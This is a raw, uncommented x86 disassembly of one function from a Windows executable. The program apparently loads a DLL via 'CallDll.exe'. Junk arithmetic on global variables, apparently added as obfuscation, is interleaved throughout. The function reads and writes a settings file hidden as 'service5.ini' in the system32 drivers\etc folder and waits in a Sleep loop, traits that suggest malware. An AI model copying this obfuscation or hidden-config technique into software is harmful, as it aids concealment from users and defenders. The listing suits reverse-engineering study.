sub ecx, eax
add ecx, edi
lea eax, [edx + ecx - 0x15c]
push 0xffffffffffffffff
push 0x463de8
lea ecx, [ebp - 0x1138]
mov dword [0x4508d8], eax
call fcn.004053a0
mov ecx, dword [0x4508d0]
mov esi, dword [0x4508dc]
mov eax, 0xde27eb2d
imul esi, esi, 0x222
imul ecx
add edx, ecx
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [str._r_____r_____n]
sub esi, ecx
imul edx, edx, 0x24e
lea esi, [esi + edx - 0x30e]
mov byte [ebp - 4], 7
mov dword [0x4508e4], esi
mov edi, 0x4635e0
mov eax, ebx
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [edi]
jne 0x4124c9
test cl, cl
je 0x4124c5
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [edi + 1]
jne 0x4124c9
add eax, 2
add edi, 2
test cl, cl
jne 0x4124a5
xor eax, eax
jmp 0x4124ce
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x412854
mov ecx, dword [0x4508d4]
imul esi, esi, 0x1a8
mov eax, 0x97012e03
imul ecx
mov edi, dword [0x4508d8]
add edx, ecx
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add esi, edx
add ecx, esi
mov esi, dword [0x4508ec]
mov eax, esi
imul eax, eax, 0x185
sub ecx, eax
sub ecx, edi
mov eax, ebx
add ecx, 0x4f2
lea edx, [eax + 1]
mov dword [0x4508d0], ecx
mov dword [ebp - 0x10d0], edx
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x412526
sub eax, dword [ebp - 0x10d0]
cmp eax, 0x800
jae 0x412550
mov edx, ebx
mov esi, 0x4635e0
mov al, byte [edx]
inc edx
mov byte [esi], al
inc esi
test al, al
jne 0x412541
jmp 0x4125ba
mov ecx, dword [0x4508dc]
imul esi, esi, 0x30f
mov eax, 0x68fed1fd
imul edi
sub edx, edi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0xa8791709
imul ecx
add edx, ecx
sar edx, 8
sub edi, esi
mov ecx, edx
shr ecx, 0x1f
add edi, edx
lea edx, [ecx + edi + 0x456]
push 0x7ff
xor eax, eax
push ebx
mov ecx, 0x200
mov edi, 0x4635e0
push 0x4635e0
mov dword [0x4508dc], edx
rep stosd dword es:[edi], eax
call fcn.00424c90
mov ecx, dword [0x4508d0]
add esp, 0xc
mov edx, dword [0x4508e8]
mov eax, 0x197b05f9
imul edx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4508cc]
imul edx, edx, 0x2a4
sub edx, eax
mov eax, dword [0x4508e0]
imul eax, eax, 0x1b2
add edx, eax
sub edx, ecx
sub edx, 0x163
mov eax, 0x462ce0
mov dword [0x4508e8], edx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x412602
sub eax, edx
cmp eax, 5
jbe 0x412854
push str.ConfigL6
push ebx
call fcn.004144d0
add esp, 8
test eax, eax
jne 0x412854
mov ecx, dword [str._r_____r_____n]
mov eax, 0x8c2f17d3
imul ecx
add edx, ecx
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov esi, ecx
mov ecx, dword [0x4508dc]
mov eax, 0x60f25deb
imul ecx
mov ecx, dword [0x4508e4]
sar edx, 8
imul ecx, ecx, 0x1b2
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4508d4]
imul edx, edx, 0x1a8
sub eax, esi
sub eax, ecx
lea eax, [eax + edx - 0x30e]
push 0x132b600
mov dword [0x4508ec], eax
call sym.CallDll.exe_int___cdecl_process3_int_
add esp, 4
xor esi, esi
cmp esi, 0x64
jge 0x412704
mov ecx, dword [0x4508e0]
mov eax, 0xa61fcc17
imul ecx
add edx, ecx
mov eax, dword [0x4508d4]
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x4508ec]
imul edx, edx, 0x185
sub edx, ecx
sub edx, dword [0x4508d0]
lea ecx, [edx + eax + 0xd7]
push 0x64
mov dword [str._r_____r_____n], ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 0x462ce0
lea edx, [eax + 1]
jmp 0x4126f0
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4126f0
sub eax, edx
mov dword [ebp - 0x10d0], eax
je 0x412704
inc esi
jmp 0x412693
mov ecx, dword [0x4508d4]
mov esi, dword [0x4508e4]
mov eax, 0x97012e03
imul esi, esi, 0x1a8
imul ecx
add edx, ecx
mov ecx, dword [0x4508ec]
sar edx, 8
imul ecx, ecx, 0x185
mov eax, edx
shr eax, 0x1f
add esi, edx
mov edx, dword [0x4508d8]
add eax, esi
push str.C:WINDOWS_system32driversetc_service5.ini
sub eax, ecx
push 0x800
sub eax, edx
lea edx, [ebp - 0x10c4]
push edx
push 0x440e09
push str.ConfigL5
add eax, 0x4f2
push str.GameType1
mov dword [0x4508d0], eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov ecx, dword [0x4508e0]
mov esi, dword [0x4508dc]
mov eax, 0x60f25deb
imul esi, esi, 0x377
imul ecx
mov ecx, dword [0x4508d0]
sar edx, 8
imul ecx, ecx, 0x1a8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4508e8]
sub esi, eax
add esi, edx
lea eax, [ebp - 0x10c4]
lea edx, [ecx + esi - 0x15c]
push eax
mov dword [0x4508d8], edx
call fcn.0042422a
inc eax
push eax
lea ecx, [ebp - 0x10c4]
push 0x441934
push ecx
call fcn.0042414a
add esp, 0x10
push str.C:WINDOWS_system32driversetc_service5.ini
lea edx, [ebp - 0x10c4]
push edx
push str.ConfigL5
push str.GameType1
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov ecx, dword [0x4508d0]
mov esi, dword [0x4508d8]
mov eax, ecx
imul esi, esi, 0x30f
imul eax, eax, 0x3a7
sub esi, eax
mov eax, 0x49e28fbb
imul ecx
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x4508d4]
imul edx, edx, 0x315
sub esi, ecx
add esi, edx
mov dword [0x4508e0], esi
mov esi, dword [0x462cd8]
inc esi
push 0
mov dword [0x462cd8], esi
call fcn.0042422f
add esp, 4
mov dword [0x462cdc], eax
lea ecx, [ebp - 0x1138]
mov byte [ebp - 4], 6
call fcn.00405450
mov esi, dword [0x4508e0]
mov ecx, dword [0x4508cc]
mov edi, dword [0x4508e8]
mov eax, 0x197b05f9
imul ecx, ecx, 0x2a4
imul esi, esi, 0x1b2
imul edi
mov edi, dword [0x4508d0]
sar edx, 6
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
add ecx, esi
sub ecx, edi
sub ecx, 0x163
push ecx
mov dword [0x4508e8], ecx
mov ecx, dword [ebp - 0x10c8]
mov eax, esp
mov dword [eax], ecx
mov eax, dword [ebp - 0x10c8]
test eax, eax
mov dword [ebp - 0x10d0], esp
je 0x4128cb
mov edx, dword [eax]
push eax
call dword [edx + 4]
mov ecx, 0x462978
call fcn.004067a0
mov ecx, dword [0x4508e8]
mov eax, 0x49e28fbb
imul ecx
mov ecx, dword [0x4508e0]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x73d0e82d
imul ecx
sub edx, ecx
mov eax, dword [0x4508cc]
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x4508e4]
imul edx, edx, 0x315
sub ecx, esi
mov esi, dword [str._r_____r_____n]
sub ecx, edx
mov edx, dword [ebp - 0x10c8]
add ecx, esi
lea ecx, [eax + ecx - 0x30e]
push 0
push edx
mov dword [0x4508cc], ecx
call fcn.004179e0
mov ecx, dword [0x4508e0]
mov esi, dword [0x4508d4]
mov eax, 0x197b05f9
imul ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x21d814d3
imul esi
sub edx, esi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4508e4]
sub eax, edi
add esp, 8
sub eax, edx
mov edx, dword [0x4508ec]
lea eax, [eax + edx - 0x30e]
mov dword [0x4508d4], eax
mov esi, dword [0x4508d8]
mov edi, dword [0x4508ec]
mov eax, 0x68fed1fd
imul edi, edi, 0x30f
imul esi
sub edx, esi
mov esi, dword [0x4508dc]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0xa8791709
imul esi
add edx, esi
sar edx, 8
sub ebx, edi
mov eax, edx
shr eax, 0x1f
add ebx, edx
lea edx, [eax + ebx + 0x456]
mov eax, dword [ebp - 0x10d8]
test eax, eax
mov dword [0x4508dc], edx
mov byte [ebp - 4], 5
je 0x4129f9
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [0x4508e0]
mov eax, dword [ebp - 0x10cc]
test eax, eax
mov byte [ebp - 4], 4
je 0x412a13
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov ecx, dword [0x4508e0]
mov eax, dword [ebp - 0x10c8]
test eax, eax
mov byte [ebp - 4], 2
je 0x412a2d
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [0x4508e0]
mov eax, dword [ebp - 0x10d4]
test eax, eax
mov byte [ebp - 4], 1
je 0x412a47
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov ecx, dword [0x4508e0]
mov edi, dword [ebp - 0x10f4]
mov esi, dword [0x4508ec]
inc edi
jmp 0x41143b
mov eax, dword [ebp - 0x10dc]
test eax, eax
mov byte [ebp - 4], 0
je 0x412a6d
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov esi, dword [0x4508d0]
mov ecx, dword [0x4508dc]
mov eax, 0xde27eb2d
imul ecx, ecx, 0x222
imul esi
add edx, esi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [str._r_____r_____n]
imul eax, eax, 0x24e
lea ecx, [ecx + eax - 0x30e]
mov eax, dword [ebp - 0x10ec]
mov dword [0x4508e4], ecx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
call fcn.00423a21
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret